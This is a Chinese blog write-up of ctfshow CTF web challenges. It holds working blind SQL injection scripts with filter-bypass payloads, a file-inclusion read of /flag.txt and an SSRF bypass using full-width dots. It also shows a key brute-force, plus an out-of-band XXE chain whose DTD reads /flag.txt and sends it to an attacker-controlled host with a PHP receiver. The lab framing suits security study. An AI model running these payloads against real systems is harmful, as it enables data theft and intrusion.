ctfshow-AK赛

ctfshow 观星

ctfshow 观星签到_观己签到_观字web3_观图web4_观心

常规盲注语句为

?id=0 or ascii(substr(select database(),1,1))=={}

id=0是错,全看or后面的语句,

网站过滤了union常规注入是不行了,进行布尔盲注;

fuzz 过滤了空格 用/**/可以绕过; 过滤了ascii 可以用ord绕过

过滤了like,= 可以用 regexp绕过,

过滤了逗号,可以substr( (select语句)from 1 for 1)等价于substr((select语句),1,1)

#author  Fnylad
import requests
s=requests.session()
url="http://23fe194d-c332-42fa-b2a6-fc0ba8224e7b.challenge.ctf.show/index.php?id="
table=""
​
for i in range(1,46):
    print(i)
    for j in range(32,127):
        #数据库名 web1
        #payload = "0/**/or/**/ord(substr((select/**/database())/**/from/**/{}/**/for/**/1))regexp({})".format(str(i),str(j))
        #表名 flag,page,user等
        #payload = "0/**/or/**/ord(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp(database()))from/**/{}/**/for/**/1))regexp({})".format(str(i),str(j))
        #列名 flag id 等
        # payload = "0/**/or/**/ord(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/regexp(database()))from/**/{}/**/for/**/1))regexp({})".format(str(i),str(j))
        #得到flag
        payload = "0/**/or/**/ord(substr((select/**/flag/**/from/**/flag)from/**/{}/**/for/**/1))regexp({})".format(str(i), str(j))
        rs=s.get(url=url + payload).text
        if 'I asked nothing' in rs:
            table += chr(j)
            print(table)
            break

看了下 羽师傅的博客,发现另外的写法,顺便也研究一下

常规的sql盲注payload大致为 id=1^if(ascii(substr(database(),1,1))=102,2,3) 当ascii(substr(database(),1,1))=102为真时,则id=1^2=3 否则就是id=1^3=2 (题目中id=2和id=3页面显示内容不同)

基于上面的payload模板找到替代品即可过滤

空格可以用括号代替;过滤了单引号可以用16进制代替;过滤了逗号,对于substr可以用 substr(database() from 1 for 1 )代替substr(database(),1,1),if中有逗号可以用case when代替if;过滤了 ascii可以用ord代替;过滤了等号和like可以用regexp代替。觉得爆列名还是和爆表名一样用数据库好,不需要刻意去转成flag

#author  羽
import requests
url="http://33d8ca09-ca38-4dd3-862b-20d950f199b1.challenge.ctf.show/index.php?id=1^"
flag=""
for i in range(1,50):
    print(i)
    for j in range(38,126):
        u="case(ord(substr((select(database()))from({})for(1))))when({})then(2)else(3)end".format(str(i),str(j))#库名  web1
        #u="case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #表名 flag、page、user
        #u="case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #列名 FLAG_COLUMN、flag
        #u="case(ord(substr((select(group_concat(flag))from(flag))from({0})for(1))))when({1})then(2)else(3)end".format(i,j) #flag字段
        u=url+u
        r=requests.get(u)
        t=r.text
        if("I asked nothing" in t):
            flag+=chr(j)
            print(flag)
            break
     
     

签到_观己

1.猜测 file 位置

?file=/flag.txt 得到flag

2.不知道位置 尝试用伪协议都不行,那可以试试日志文件包含

签到_观字

没有过滤的话直接url=http://192.168.7.68/flag就可以拿到flag 看到过滤了点(.)首先想到的是ip(点分十进制记法)转10进制将192.168.7.68转换为10进制后为3232237380发现还是有问题,仔细一看竟然过滤了0,好吧。然后经过其他师傅提醒,curl可以用句号(。)代替点(.) 直接url=http://192。168。7。68/flag就ok啦

web3_观图

查看源码

 

试着直接看showImage.php

<?php
​
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(file_exists($str)){
        header('content-type:image/gif');
        echo file_get_contents($str);
    }
}else{
    highlight_file(__FILE__);
}
?>

可以知道要爆破出rand 从而得到key

<?php 
 $image="Z6Ilu83MIDw=";
 for($i=0;$i<32768;$i++)
 {
     $key = substr(md5('ctfshow'.$i),3,8);
     $str = openssl_decrypt($image, 'bf-ecb', $key);
     if(strpos($str,"gif") || strpos($str,"jpg") ||strpos($str,"png"))
      {
        echo $str."\n";
        echo $key;
      }
 }
str=1.jpg
key=5a78dbb4

然后直接加密config.php

<?php
$key="5a78dbb4";
$image="config.php";
$str = openssl_encrypt($image, 'bf-ecb', $key);
echo urlencode($str);
//N6bf8Bd8jm0SpmTZGl0isw%3D%3D
?>
​

web4_观心

打开network,当点击占卜时发现访问了api.php,并且向api.php中post了两个数据,其中一个为api另一个为city。当然在js文件中也能看到

想到xxe 在服务器上放上

2.xml

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/xxe.xml">
%remote;%int;%send;
]>

xxe.xml

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
  
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://ip/xxe.php?1=%file;'>">
​

xxe.php

<?php
  $content= $_GET['1'];
  if(isset($content)){
    file_put_contents('flag.txt',$content);
  }
  else {
      echo 'nodata';
  }
?>

payload:

http://96949238-64ea-4039-aeb8-5ef4593e9210.challenge.ctf.show/api.php
​
post :
api=http://ip/2.xml&city=3
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值